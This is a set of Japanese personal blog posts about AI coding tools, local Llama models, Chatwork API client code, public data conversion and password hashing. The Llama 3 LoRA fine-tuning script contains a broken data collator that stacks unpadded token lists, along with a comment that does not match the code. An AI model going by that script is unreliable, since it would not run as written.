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チャットワークのAPIを使ってみました.プロンプトでほぼ書いています.

2025.07.13

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おはようございます.チャットワークのAPIを使ってみました.プロンプトでほぼ書いたコードになります、チャットGPTの無料版にリファレンスのURLリンクとPHPのクラス化、リターンに$thisで返却出来る所は$thisを使用してスマートにコードを書いてと指示を出しました.

出来上がったコードが下記になります.ソースコードは自分の方でモンキーテスト的に動かしてみましたが、ちゃんと動作するようです.

<?php
class ChatworkClient
{
    private string $apiToken;
    private string $baseUrl = 'https://api.chatwork.com/v2';
    private int $retryCount = 3;
    private int $retryDelay = 1000000; // microseconds

    public function __construct(string $apiToken)
    {
        $this->apiToken = $apiToken;
    }

    public function setRetry(int $count, int $delayMicroseconds): self
    {
        $this->retryCount = $count;
        $this->retryDelay = $delayMicroseconds;
        return $this;
    }

    private function request(string $method, string $path, array $params = []): array
    {
        $attempts = 0;

        while ($attempts < $this->retryCount) {
            $attempts++;

            $ch = curl_init();
            $url = $this->baseUrl . $path;

            if ($method === 'GET' && $params) {
                $url .= '?' . http_build_query($params);
            }

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            $headers = ['X-ChatWorkToken: ' . $this->apiToken];

            if (in_array($method, ['POST', 'PUT', 'DELETE'])) {
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
                $headers[] = 'Content-Type: application/x-www-form-urlencoded';
            }

            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $body = curl_exec($ch);
            $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);

            if ($error) {
                if ($attempts < $this->retryCount) {
                    usleep($this->retryDelay);
                    continue;
                }
                throw new RuntimeException("cURL error after {$attempts} attempts: {$error}");
            }

            if ($status >= 200 && $status < 300) {
                return [
                    'status' => $status,
                    'body' => $body ? json_decode($body, true) : null,
                ];
            }

            if ($attempts < $this->retryCount && $status >= 500) {
                usleep($this->retryDelay);
                continue;
            }

            return [
                'status' => $status,
                'body' => $body ? json_decode($body, true) : null,
            ];
        }

        throw new RuntimeException("Request failed after {$this->retryCount} attempts");
    }

    public function setToken(string $token): self
    {
        $this->apiToken = $token;
        return $this;
    }

    public function me(): array
    {
        return $this->request('GET', '/me');
    }
    public function getMyStatus(): array
    {
        return $this->request('GET', '/my/status');
    }
    public function getMyTasks(array $filters = []): array
    {
        return $this->request('GET', '/my/tasks', $filters);
    }
    public function getContacts(): array
    {
        return $this->request('GET', '/contacts');
    }
    public function getRooms(): array
    {
        return $this->request('GET', '/rooms');
    }
    public function createRoom(array $params): array
    {
        return $this->request('POST', '/rooms', $params);
    }
    public function getRoom(int $roomId): array
    {
        return $this->request('GET', "/rooms/{$roomId}");
    }
    public function updateRoom(int $roomId, array $params): array
    {
        return $this->request('PUT', "/rooms/{$roomId}", $params);
    }
    public function deleteRoom(int $roomId, string $action = 'leave'): array
    {
        return $this->request('DELETE', "/rooms/{$roomId}", ['action_type' => $action]);
    }

    public function getMembers(int $roomId): array
    {
        return $this->request('GET', "/rooms/{$roomId}/members");
    }
    public function updateMembers(int $roomId, array $params): array
    {
        return $this->request('PUT', "/rooms/{$roomId}/members", $params);
    }

    public function getMessages(int $roomId, bool $force = false): array
    {
        return $this->request('GET', "/rooms/{$roomId}/messages", ['force' => $force ? 1 : 0]);
    }

    public function postMessage(int $roomId, string $body, bool $selfUnread = false): self
    {
        $this->request('POST', "/rooms/{$roomId}/messages", ['body' => $body, 'self_unread' => $selfUnread ? 1 : 0]);
        return $this;
    }

    public function markRead(int $roomId): self
    {
        $this->request('PUT', "/rooms/{$roomId}/messages/read");
        return $this;
    }

    public function markUnread(int $roomId): self
    {
        $this->request('PUT', "/rooms/{$roomId}/messages/unread");
        return $this;
    }

    public function getMessage(int $roomId, int $messageId): array
    {
        return $this->request('GET', "/rooms/{$roomId}/messages/{$messageId}");
    }

    public function getRoomTasks(int $roomId, array $filters = []): array
    {
        return $this->request('GET', "/rooms/{$roomId}/tasks", $filters);
    }

    public function createTask(int $roomId, array $params): array
    {
        return $this->request('POST', "/rooms/{$roomId}/tasks", $params);
    }

    public function uploadFile(int $roomId, string $filePath, string $message = ''): array
    {
        if (!file_exists($filePath)) {
            throw new InvalidArgumentException("File not found: {$filePath}");
        }

        $ch = curl_init();
        $url = $this->baseUrl . "/rooms/{$roomId}/files";
        $cfile = curl_file_create($filePath);

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-ChatWorkToken: ' . $this->apiToken]);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ['file' => $cfile, 'message' => $message]);

        $body = curl_exec($ch);
        $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        if (curl_errno($ch)) {
            throw new RuntimeException(curl_error($ch));
        }

        curl_close($ch);
        return ['status' => $status, 'body' => json_decode($body, true)];
    }
}

人が今回のコードを書いた場合、早い人でも10分ぐらいはコードを書かないといけないと思います、どんなに早くてもそれぐらいの時間は必要だと思いますが、生成AIはこれを数十秒で書ける訳ですから、確実に時間短縮になります.

なので人工知能が使える現場は間違いなく最初のコード出力は人工知能に任せた方が良いです.特に新規案件の土台は生成AIに任せると開発コストは削減出来ます.

明日へ続く

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AI時代のマーケティング激変に備えよグーグル検索の60％がクリックされない

2025.07.05

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おはようございます.先日、自分が言っていた事は間違いなかったんだなって下記の動画を見て思いました.これから先、SNSとAIを駆使しないと集客出来ない時代になるということですね.要するに検索というものは廃れていくということです.最後にサイトとして残るのはユーザーが体験出来るサイトしか残らないような気もしています.

動画を内容をGeminiに解説してもらいましたのでマーケティングしている人は必見だと思います.

HubSpotのCEO、ヤミニ・ランガン氏が語るAIがビジネスに与える影響についての要点は以下の通りです。

AIの現状と影響

• AI開発の中心はサンフランシスコで、OpenAIやAnthropicがLLMの主導権を争っています [03:54]。
• AIは人間の仕事を「拡張」するものであり、一部の職種では人員削減に繋がる可能性もありますが、営業や開発のように生産性向上により、より多くの人間が必要となる職種もあります [06:30]。
• AmazonやMicrosoftもAIによる効率化と人員削減に言及しています [05:53]。

HubSpotにおけるAIの活用

• HubSpotは2023年にAI中心の製品ロードマップに転換し、社内でもAIを積極的に導入しています [09:50]。
• カスタマーサポートでは、ティア1のサポートチケットの約50%をAIで解決し、人員を維持しながら顧客ベースを拡大しています [10:56]。
• 営業では、AIを活用してアカウント調査、メール作成、会議設定を自動化し、数万件の会議設定に成功しています [11:48]。
• マーケティングでは、AIでウェブサイト訪問者の意図を分析し、パーソナライズされたコンテンツを提供することで、コンバージョン率を80〜100%向上させています [13:26]。
• ヤミニ氏自身も、ChatGPT、Claude、GeminiなどのAIツールを個人的に活用しているとのことです [14:10]。

AIによる検索とSEOの変革

• Google検索のAI概要が直接回答を提供するため、従来のSEOは通用しなくなりつつあります [17:09]。
• 人々がGoogle検索だけでなく、ChatGPTのようなLLMから直接情報を得るようになっているため、ウェブサイトへの訪問者数が減少する可能性があります [18:02]。
• 「AI最適化」という新しい分野が台頭しており、AIが特定の質問に回答できるようにコンテンツを最適化することに焦点を当てています [18:47]。
• HubSpotは、ブログトラフィックの減少に対応するため、ポッドキャスト、メールニュースレター、YouTubeなど、多様なチャネルへのコンテンツ戦略を拡大しています [21:07]。

AIによる営業とカスタマーサービスの変革

• 営業: AIは、アカウント調査、メール作成、デモ準備など、営業担当者の非対面業務の多くを自動化できます [24:22]。
• AIは、通話やメールの記録から自動的に顧客情報をCRMに取り込み、パーソナライズされたメールのドラフト作成などを支援します [25:32]。
• AIは営業における「人間的なつながり」を強化するものであり、置き換えるものではないとヤミニ氏は考えています [28:00]。
• カスタマーサービス: AIはティア1のサポート質問に最適であり、顧客満足度を維持しながら迅速な問題解決を可能にします [29:33]。
• HubSpotの顧客は、AIエージェントによって平均52%のチケット解決率を達成しており、中には80%を解決している顧客もいます [30:56]。

この動画は、AIがビジネスのあらゆる側面に深く浸透し、企業がその変化に適応する必要があることを強調しています。

トイウコトでやっぱりこれから先はECサイトやアンサーサイトはかなりダメージを受けてくると思っています.逆に影響を受けないのはBtoBのサイトなのかも.

明日へ続く

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Llama-3-ELYZA-JP-8Bとは何か？モデルという奴です.

2025.07.03

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おはようございます.Llama-3-ELYZA-JP-8Bは、MetaのLlama 3（8Bパラメータ）をベースに、日本語の指示応答能力を強化するためELYZAがファインチューニングした日本語特化型の大規模言語モデルです。

ではモデルとは何か？モデルとは、データからパターンやルールを学習し、新しい入力に対して予測や生成を行うための数学的・計算的な仕組みやプログラムのことです。

今回、自分が試したのはLlama-3-ELYZA-JP-8Bの一番軽量ものを試してみました.軽量すぎてたまに回答が無限ループに陥ることがあります.これはカーソル（cursor）やディビン系でも無限ループに陥ることがあるらしいです.俗に言うトークン食いですね.

トークン食いが一度発生すると次のプロンプトにも影響が出る場合があるので、一度離脱して再度プロンプトを投げることで回避出来るようです.

因みにモデルをCPUで動かしたい場合は、llama.cpp で動かすようにするのだけど、既存のモデルをggufに一度、変換してあげる必要があります.そうすることでグラボが貧弱でも動きます.

明日へ続く

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AIで今後どうなるだろうな.自然言語処理で指示出し出来てきた今日.

2025.07.01

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おはようございます.何だか梅雨明けした休日にGeminiCliでコードを生成しています.仕事ではまだ自分はChatに分からない事を質問するぐらいの事しかしていないのだけども絶対にCliなどで作業すると時間短縮になるのは間違いです（仕事でも導入しているのですが自分は使用していない）.

休日に作業するときはコパイロットとGeminiを使用して開発しているのです、どちらも無料版なのだけど自分は無料板で事足りています.

因みにコパイロットとGemini、どちらが優秀かという問いに関しては今のところコパイロットの方が優秀なソースコードを書いてくれるというイメージが強いです.有料版ではカーソルやデビィンなどが優秀らしいけども余裕資金があんま無いので試していない.

お金に余裕があればいろいろと試したいことはあります.例えばグラボ（グラフィックボード）を取り替えて機械学習の学習をローカルで試してみたいなどがあります.

この頃思うのだけど、何かとこの業界は移り変わりが激しいのと新しい技術を学ぶときにたまに技術投資が必要になります.昔はオープンソース的な感じだったけどこのIT業界ビックテックはお金を取り出して来ています.

その中でMETA社？だけがオープンソースでいろいろと提供してくれていてとても有り難いです.それでもやっぱそれを動かす端末の推奨環境という物があるので古いPCだと動かなかったりします.

今後、Llm（大規模言語モデル）は容量が小さくなっていくということとローカル端末で動かすのが当たり前になる時代が来るそうです.

明日へ続く

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そう言えば昨日マイナンバーカードをiphoneに追加しましたが.

2025.06.25

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おはようございます.そう言えば昨日マイナンバーカードをiphoneに追加しました、追加方法などはこちらの記事には記載しませんがその代わりとして公式YOUTUBEの手順方法を貼っときますね.

ちょっと登録が面倒ですけど一度、追加することによりマイナポータルサイトに簡単にログイン出来るようになった所はとても良いなと感じました.

自分はたまに年金とかの確認や所得の額を見たりしているのでスマホで簡単にログイン出来るようになったのは結構大きいと思います.

また、これからスマホで出来ることが増えてくればマイナンバーカードの存在感は薄れていきそうな感じがしますが、個人経営の病院などでは恐らくマイナンバーカードや保険証がまだ必要な気がしています.

明日へ続く

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AIで記事を学習して新たな記事を生み出すにはお金が必要だと思っていたがそうでも.

2025.06.22

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おはようございます.AIで記事を学習して新たな記事を生み出すにはお金が必要だと思っていたがそうでもなくローカルPCでそこら辺に落ちているLlamaモデルを持ってきてチューニングすれば何とかなるじゃねぇという思いに至った.

実はあなたの手元にあるPCと、そこら中に「落ちている」オープンソースのAIモデル、特にLlama 3があれば、十分記事が生成できるんです。

ローカルAI記事生成は、もはや夢物語じゃない

「AIで記事生成」と聞くと、SFのような世界や、大企業だけが使える特権のように感じるかもしれません。しかし、今は違います。オープンソースの強力な言語モデル、特にMetaが公開したLlama 3の登場は、この常識を大きく覆しました。

Llama 3は、その性能の高さにもかかわらず、誰でも無料で利用できるという点が最大の魅力です。さらに、80億パラメータの8Bモデルであれば、最新のゲーミングPCとまではいかなくとも、ある程度の性能を持つPCであれば十分に動作します。これにより、高額なクラウドサービスを利用せずとも、自分のPCでAI記事生成の環境を構築することが現実的になりました。

なぜLlama 3があなたのPCと相性抜群なのか？

Llama 3がローカルPCでの記事生成に適している理由はいくつかあります。

• 完全無料のオープンソース: 利用に費用がかからないため、予算を気にせずAIを試したり、本格的に導入したりできます。
• 選べるモデルサイズ: Llama 3には様々なサイズのモデルがあり、PCのスペックに合わせて選べます。特に8Bモデルは、個人利用に最適なバランスを持っています。
• 活発な開発者コミュニティ: 世界中の開発者がLlama 3を使った新しいツールや効率的なチューニング方法を日々共有しています。困ったときには助けを借りられる心強い味方です。
• 「量子化」でさらに軽量に: モデルのサイズを大幅に小さくする「量子化」という技術を使えば、より少ないメモリでLlama 3を動かせるようになります。これにより、より多くのPCで利用の道が開けます。

あなたのPCを「記事生成マシン」に変える秘訣

もちろん、いきなりプロのライター並みの記事をAIに書かせるのは難しいかもしれません。しかし、ちょっとした工夫で「何とかなる」レベルの記事生成は十分に可能です。

1. 少量のデータでファインチューニング: 大量の記事データは不要です。あなたが書きたい記事のテーマやスタイルに合った、質の良い記事を数十〜数百程度集めてLlama 3を学習（ファインチューニング）させれば、その分野に特化した記事生成能力が格段に向上します。
2. プロンプト（指示文）の工夫: AIへの「指示の出し方」は非常に重要です。具体的で明確なプロンプトを与えることで、チューニングが完璧でなくても、驚くほど質の高い記事が生成できます。これはまるで、優秀なアシスタントに的確な指示を出すようなものです。
3. 効率的な学習方法の活用: 「LoRA（Low-Rank Adaptation）」のような効率的なファインチューニング手法を使えば、少ないGPUメモリでも短時間でモデルを特定のタスクに最適化できます。

あなたの創造性が、今、AIで加速する

かつては一部の専門家や企業にしか手の届かなかったAIによる記事生成が、今やあなたのPCで実現できる時代になりました。これはまさにAI技術の「民主化」です。

とまぁそういう訳なので何とかしてみますが、ファインチューニングにどれぐらい時間がかかるのかが未知数だったりする.

ファインチューニングPythonコード

以下のPythonコードは、Llama 3モデルをロードし、提供されたテキスト記事でファインチューニング（LoRA使用）を実行し、結果を保存します。 上記の入力値は、このコードに自動的に反映されます。 このコードをPythonファイル（例: `finetune_llama.py`）として保存し、実行してください。

import os
import torch
from datasets import load_dataset
from transformers import AutoTokenizer, AutoModelForCausalLM, BitsAndBytesConfig, TrainingArguments, Trainer
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training, TaskType

# GPUの利用可能性を確認
print("GPUが利用可能か確認中...")
if not torch.cuda.is_available():
    print("GPUが見つかりません。Fine-tuningにはGPUが強く推奨されます。")
    # GPUがない場合は、ここでスクリプトを終了するか、CPUモードで続行するか選択できます。
    # exit("GPUがないため終了します。")
else:
    print(f"GPUが利用可能です: {torch.cuda.get_device_name(0)}")

# --- 1. モデルとトークナイザーのロード ---
# Llama 3モデルのパスを指定します。Hugging Faceのモデル名（例: "meta-llama/Llama-3-8B"）
# またはローカルにダウンロードしたモデルのパスを指定してください。
MODEL_NAME = "meta-llama/Llama-3-8B" # ユーザーが入力したパスがここに挿入されます

print(f"モデルとトークナイザーをロード中: {MODEL_NAME}")

# 4bit量子化設定 (GPUメモリの節約に役立ちます)
# bnb_4bit_compute_dtypeは、Ampere以降のNVIDIA GPUに推奨されるbfloat16を使用しています。
bnb_config = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_use_double_quant=True,
    bnb_4bit_quant_type="nf4", # NF4 (NormalFloat4) 量子化タイプ
    bnb_4bit_compute_dtype=torch.bfloat16 
)

# トークナイザーをロード
tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, trust_remote_code=True)
# Llama 3はデフォルトでbos_tokenを付与しないことがあるため、明示的に追加。
# また、padding_side='right'はLlamaモデルに推奨される設定です。
tokenizer.pad_token = tokenizer.eos_token
tokenizer.padding_side = "right"

# モデルをロードし、量子化設定を適用し、自動的にGPUにマッピングします。
model = AutoModelForCausalLM.from_pretrained(
    MODEL_NAME,
    quantization_config=bnb_config,
    device_map="auto", # 利用可能なデバイス（GPU）に自動的にモデルを分散
    trust_remote_code=True # リモートコードの実行を許可
)
print("モデルロード完了。")

# k-bit学習用にモデルを準備 (PEFTライブラリのため)
# gradient_checkpointingを有効にすることで、メモリ使用量をさらに削減できます。
model.gradient_checkpointing_enable()
model = prepare_model_for_kbit_training(model)
print("k-bit学習用にモデルを準備しました。")

# --- 2. データセットの準備 ---
# あなたのテキスト記事ファイルが格納されているディレクトリを指定します。
# 例: 'your_article_data/' の中に 'article1.txt', 'article2.txt', ... と置かれている場合
DATA_DIR = "./your_article_data/" # ユーザーが入力したパスがここに挿入されます

print(f"データセットをロード中: {DATA_DIR}")

# 'text'形式でデータセットをロードします。指定されたディレクトリ内のすべての.txtファイルを読み込みます。
# 各ファイルが1つのエントリとして扱われます。
try:
    dataset = load_dataset('text', data_files={'train': os.path.join(DATA_DIR, '*.txt')})
    print(f"データセットのサンプル数: {len(dataset['train'])}")
except Exception as e:
    print(f"データセットのロード中にエラーが発生しました。ディレクトリとファイル形式を確認してください: {e}")
    exit("データセットロード失敗。")

# データセットをトークン化する関数
# 長い記事をモデルの最大入力長に分割します。
def tokenize_function(examples):
    # Llama 3の最大入力長は通常8192ですが、お使いのGPUのVRAMに合わせて調整してください。
    # ここでは一般的な値として2048を設定しています。
    max_length = 2048 
    # truncate=Trueで最大長を超えるテキストを切り捨てます。
    return tokenizer(examples["text"], truncation=True, max_length=max_length)

# データセットをトークン化します。
# num_procはCPUコア数に応じて並列処理を行い、処理を高速化します。
tokenized_dataset = dataset.map(
    tokenize_function,
    batched=True,
    num_proc=os.cpu_count(),
    remove_columns=["text"] # 元のテキスト列は学習に不要になるため削除します。
)
print("データセットのトークン化が完了しました。")

# --- 3. PEFT (LoRA) の設定 ---
# LoRA (Low-Rank Adaptation) は、元のモデルの重みをフリーズし、
# 小さなアダプター層を追加して学習させることで、効率的にファインチューニングを行います。
# これにより、GPUメモリの使用量を抑えつつ、高い性能を実現できます。
lora_config = LoraConfig(
    r=16, # LoRAのランク。値を大きくすると表現力が増すが、メモリ消費も増える。
    lora_alpha=32, # LoRAのスケーリング係数。rの2倍程度が推奨されることが多いです。
    target_modules=["q_proj", "k_proj", "v_proj", "o_proj", "gate_proj", "up_proj", "down_proj"], # LoRAを適用する層。Llamaモデルで一般的な層。
    bias="none", # バイアスを学習しない設定。
    lora_dropout=0.05, # ドロップアウト率。過学習を防ぐために設定します。
    task_type=TaskType.CAUSAL_LM, # タスクタイプを因果言語モデルに設定。
)

# モデルにLoRAアダプターを追加します。
model = get_peft_model(model, lora_config)
print("モデルにLoRAアダプターを適用しました。")
model.print_trainable_parameters() # 学習可能なパラメータ数を確認します。

# --- 4. 学習の実行 ---
# 学習済みモデルを保存するディレクトリ
OUTPUT_DIR = "./llama3_finetuned_model/" # ユーザーが入力したパスがここに挿入されます

# 学習の設定
training_args = TrainingArguments(
    output_dir=OUTPUT_DIR,
    num_train_epochs=3, # エポック数。データセットのサイズと希望する精度に応じて調整してください。
    per_device_train_batch_size=1, # GPUあたりのバッチサイズ。VRAMが少ない場合は1に設定。
    gradient_accumulation_steps=4, # 勾配を蓄積するステップ数。実質的なバッチサイズは per_device_train_batch_size * gradient_accumulation_steps になります。
    optim="paged_adamw_8bit", # 8bit AdamWオプティマイザを使用し、メモリ効率を向上させます。
    save_steps=500, # 500ステップごとにモデルを保存します。
    logging_steps=100, # 100ステップごとにログを出力します。
    learning_rate=2e-4, # 学習率。
    fp16=True, # 混合精度学習を有効化 (GPUが対応している場合)。VRAM削減と高速化に寄与します。
    max_steps=-1, # num_train_epochsに基づいて学習します。
    group_by_length=True, # 同じ長さのシーケンスをグループ化し、パディングを削減します。
    lr_scheduler_type="cosine", # 学習率スケジューラーのタイプ。
    warmup_ratio=0.03, # ウォームアップ比率。
    report_to="none", # レポート先を指定しない (wandbなどを使用しない場合)。
)

# トレーナーの初期化
# data_collatorは、モデルの入力形式に合わせてデータを整形します。
trainer = Trainer(
    model=model,
    train_dataset=tokenized_dataset["train"],
    args=training_args,
    data_collator=lambda data: {
        'input_ids': torch.stack([f['input_ids'] for f in data]),
        'attention_mask': torch.stack([f['attention_mask'] for f in data]),
        'labels': torch.stack([f['input_ids'] for f in data]), # 因果言語モデルでは、入力自体がラベルとなります。
    },
)

# 学習の開始
print("Fine-tuningを開始します...")
trainer.train()
print("Fine-tuningが完了しました。")

# --- 5. 学習済みモデルの保存 ---
# LoRAアダプターのみを保存します。これにより、ファイルサイズが小さく、効率的に管理できます。
trainer.save_model(OUTPUT_DIR)
print(f"学習済みLoRAアダプターが '{OUTPUT_DIR}' に保存されました。")

# 保存したアダプターを使って推論を行う方法の例 (コメントアウトされています):
# このコードは、ファインチューニング後にモデルをロードして推論を行うための参考例です。
# from peft import PeftModel
#
# # 元のモデルをロード (学習時と同じ量子化設定を使用します)
# base_model = AutoModelForCausalLM.from_pretrained(
#     MODEL_NAME,
#     quantization_config=bnb_config,
#     device_map="auto",
#     trust_remote_code=True
# )
#
# # 保存したLoRAアダプターを元のモデルに結合します。
# peft_model = PeftModel.from_pretrained(base_model, OUTPUT_DIR)
#
# # 推論モードに設定します。
# peft_model.eval()
#
# # テキスト生成の例
# prompt = "ローカルPCでのLlama 3ファインチューニングの利点とは"
# inputs = tokenizer(prompt, return_tensors="pt").to("cuda") # 入力をGPUに移動
#
# with torch.no_grad(): # 勾配計算を無効化し、メモリ使用量を削減
#     outputs = peft_model.generate(
#         **inputs,
#         max_new_tokens=200, # 生成する新しいトークンの最大数
#         do_sample=True, # サンプリングによる生成を有効化
#         top_p=0.9, # Nucleusサンプリングの閾値
#         temperature=0.7, # 生成の多様性を制御する温度
#         eos_token_id=tokenizer.eos_token_id # 終了トークンID
#     )
# print("\n--- 生成されたテキスト ---")
# print(tokenizer.decode(outputs[0], skip_special_tokens=True))

明日へ続く

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全国各地の漁港データをJSONデータ化したお話🦾。#php #map

2022.12.07

Logging

おはようございます、昨日は晴れていましたね☼。

そんなお天気な日に漁港座標データXMLをJSONデータ化しておりました。国土交通省のデータを加工しJSONデータに加工するのはそんな難しい問題じゃないかなって思っていたのですが、データが重たい、中身のXMLデータは名前空間使っているなどという面倒くさい仕様になっておりました。名前空間の対応は、こちらのQiitaの記事を参照してほぼコピペで自分のコードに追加しました。

だた追加しただけでは、あんなツイートしたJSON構造にならないので細工しています。自分が必要なのは漁港名と座標軸だけなので、これだけで良い感じです。

preg_grep("/".$val->{"@attributes"}->id."/",$name);

因みにXMLファイルが重いので自分はデータを分割しました（エラーが出力されるので）。php.iniの設定は変えたくなかったので分割と加工をしたわけです。座標データと漁港名に分割して上記のコード等を使用しJSONファイルを出力。このJSONコードを元にオープンストリートマップ（OpenStreetMap）とかでサービスを作ることが出来ますが、このデータは非商用なので使い物にならないかな…🤔。データの販売等や二次配布は禁止だけど、データ活用は禁止していないように取れるので詳しく調べてみます🙄。

追記：都道府県を追加してみました。

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md5でいいのかそれで？。 #wp #phpcode

2022.11.17

Logging

おはようございます、いきなり寒くなりましたね。朝起きるのに勢いが必要になってきました😆。

今日はワードプレスでもパスワードの暗号化に使用されているmd5に関して思うことがあります。そもそもmd5は強固な暗号なのか？、答えはnoだと思いますよ。md5を使用すると３２文字の暗号化された文字列が返却されます。確かに暗号化されているですけど・・・。同じ文字をもう一度、暗号化すると同じ文字列が返却されます、なので暗号化された文字列になるかどうかで、元の文字が割り出せてしまいます。

総当たりすれば時間はかかりますがパスワードが分かちゃうので、パスワードを保存する方法としては△な感じかと思います。じゃ何が良いかといえばphpの場合、password_hashと言う関数があるので、そちらを使用した方が得策かと思います。Eメールなどはmd5でも良いかも知れませんが微妙。

echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT);

因みに、パスワードなどやメールアドレスを平文で扱っている開発会社はよく見かけます。何故、平文を放置しているかと言えば直す暇がないなどの理由からだと思います。また、クライアント様がそうして欲しいなどの理由もあります。そういう事から個人情報が保護されていないデータベースはあります。

尚、自分が使用しているWEBサービスも個人情報にあたる部分は暗号化しています。なので、データーが流出しても直ぐに情報が漏れるということはないと思っています🫠。

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cssとjsを動的に読み込むソースコード２。#jscode

2022.11.11

Logging

おはようございます、すずめの戸締まりを本日、観に行きますという事で本日はお休み。感想は帰ったら別途書きます。

以前、ファイルを動的に再読み込みする方法という記事を書きまして、この記事がまぁまぁプレビュー数を取ってくれているので、ソースコードを書き直しました。以前と違うのは正規表現を見てくれればわかるかと思いますが、パラメータを初期からもっているJSファイルやCSSファイルは対象外にしている所です。

メンターがいない中、コードを見直したりするのはやっぱ時間がかかるものですね。いつも自分に必要なのはメンターだと思ったりしますが、なんだかそういう人が見当たらないですよね。やはり東京や大阪にいかないと見つけられないのかな？、今ではSNSがあるから見つけやすくなっているものの、自分よりも５０％ぐらい技術力がある人がいないですよね。凄い技術力が上の人は知っているのだけども、そういう人の話を聞いてもさっぱりなので・・・。

近くにいないものなのかな、よく灯台下暗しという言葉もあるからいそうな気がするですけどね🫠。

ソースコードはこちらです。

"use strict";
document.querySelector("button").addEventListener("click",jsandcssreload);
function jsandcssreload(){
    let d = (new Date()).getTime();
    [...document.querySelectorAll("link")].forEach((elm)=>{
        elm.href = elm.href.replace(/(\.css)\??[0-9]{0,}$/,".css?" + d);
    });
    [...document.querySelectorAll("script")].forEach((elm)=>{
        elm.src = elm.src.replace(/(\.js)\??[0-9]{0,}$/,".js?" + d);
    });    
}

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2, 50, css, JS, jscode, SNS, お休み, コード, すすめ, ソース, パラメータ, ファイル, プレビュー, メンター, もの, 上, 中, 事, 人, 今, 以前, 初期, 別途, 大阪, 対象, 必要, 感想, 戸締まり, 所, 技術力, 方法, 時間, 本日, 東京, 正規, 自分, 表現, 観, 記事, 話,

htmlとcssとjavascript-初学フロント側-No.１#code

2022.11.07

Logging

おはようございます。今年もあと２ヶ月もないわけですよね早いものですね😮

htmlとcssとjavascript-初学フロント側-No.１という動画をYOUTUBEにUPしたのが昨日の９時のこと。これで理解出来るか、どうか分からない。解説もない教えもない、唯コードを書いているところを見せてるだけです。ソースコードは下記のサイトから参照できますが、次の動画作成のためにデザインや処理が変わっていたり、動作しなくなってたりするので注意が必要です。

https://358tool.com/sample-site/

自分はHtmlやcssはあまり覚えていないのですが、分かるのはそれなりに基本ベースがあるからだと思ってます。今からHtmlやcssを学ぶ人は全部を覚えようとはせずに、手を動かしてコードを書くことから始めて下さい。そのうち基本ベースは身につくことになると思います。

因みに自分が書いているclassの名前付けなどの書き方は駄目な書き方ですので、そういう所、お仕事として書く場合は会社によってキマりなんかが有りますので、そういう事まで知りたい人はこちらの動画を参照ください。

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何気なく書いていた事が結構な確率で当たる。#未来予知 #高的中か？

2022.10.09

Logging

おはようございます、コロナが収まりそうなのに戦争はまだ収まりそうにないです。ロシアは領土を奪って何得なんでしょうか。意味が分かりません。

さて、過去のブログ記事を定期的に見たり修正したりしています。これを行う理由は一つだけ意味不明な文章表現があり本人しか意味がわからないモノが存在します。その為、定期的に変な文章は直したりしています。

毎日書けば文章力や表現力は、どんな人でもUPします。泥臭いことですが技術力を上げようと思ったらひたすら真っすぐ頑張るしか無いです。必要な知識は日々の勉強でしか埋め合わせは出来ないです、技術や知識を身につける方法はひたすら覚える事から始まります。覚えて基礎が身につけば応用学習するその反復を行って身につく。この方法しかなく脳にデータをインストールは今のところ出来ない、記憶力は人それぞれなので、身につく事が早い人と遅い人がいるけれど反復学習をすれば身につきます（脳に障害がある人は難しいけども）。

タイトルの話になりますが、結構な確率で自分の未来予想があたっているなって最近思います。特に科学的な進歩や社会にどう浸透していくなどは、結構、的を得た予想をしているなと自画自賛😐。未来予測が当たっても何の得にもならないけれどもアタルのは良いことです。

此処で一つ未来予想を書きます、昨日きな臭い記事の書いたけど、来年の夏までにはロシアVSウクライナの戦争は終わるじゃないかって思っています、なんかそんな気がします。

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UP, インストール, こと, これ, コロナ, それぞれ, データ, ところ, ブログ, もの, ロシア, 一つ, 不明, 予知, 事, 人, 今, 修正, 勉強, 反復, 基礎, 変, 存在, 学習, 得, 必要, 応用, 意味, 戦争, 技術, 技術力, 文章, 文章力, 方法, 日々, 未来, 本人, 毎日, 為, 理由, 的中, 知識, 確率, 結構, 脳, 表現, 表現力, 記事, 記憶力, 身, 過去, 障害, 領土,

機械学習は学習するのにどれぐらいのデータが必要？

2022.09.06

Logging

今日は大荒れ☔との事です、おはようございます。

８月の半ばにとある事情で機械学習で人の顔かどうかを判別させるモデルをTensorFlowで作ってみたのですが、結果、学習のデータが少なかったのが原因なのか分からないけども・・・。人工無能と言いたくなるほど無能な機械学習が出来上がりました。犬の画像を見せてもこれは人ですと判定してくれるので正直、ホントげんなりでした。

画像分類の作り方は簡単です、学習したいディレクトリとテスト用のディレクトリを作り、それぞれの階層に分類ディレクトリを設置し、その中に学習の画像データとテスト用の画像データを入れてサンプルコードをちょちょっと修正してテンソル（Pythonを実行）で学習してもらうだけです。

尚、自分のテストデータは100枚ほどしかなかったので、全然駄目な結果になりましたが３０００枚以上の画像データがあればちゃんとした判別が出来たのかも知れません。

スマホの顔認証は動画データを画像データー変換して学習させているのでしょうね。そうすれば数千枚の画像は生成出来ると思います。

例えばopencv-pythonなんかで画像変換するのが良さそうですよ。

pip install opencv-python

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来月からのマイネオ２０Gをドタキャンした話（見直し）。

2022.08.21

Logging

おはようございます。朝つぶ、昼つぶ、夜つぶを流行らそうとしています（嘘()

来月からマイネオを２０Gにしてみようと思っていたのですが、このコロナが落ち着くまで成るべく外出での作業は控えようと思っています。そういう事で２０ギガ契約をドタキャンしましたmineoさん、ごめんなさい🙇。

こうやって収入が安定するまでは、いろいろと自分は見直しが必要です。サーバも極力安いサーバに変えたりと固定費は見直すことは結構大事。固定費を下げていくと必要最低限の収入でも生活していけるのかもしれません。因みに自分は今のままでは年金だけで生活できそうにありません…。

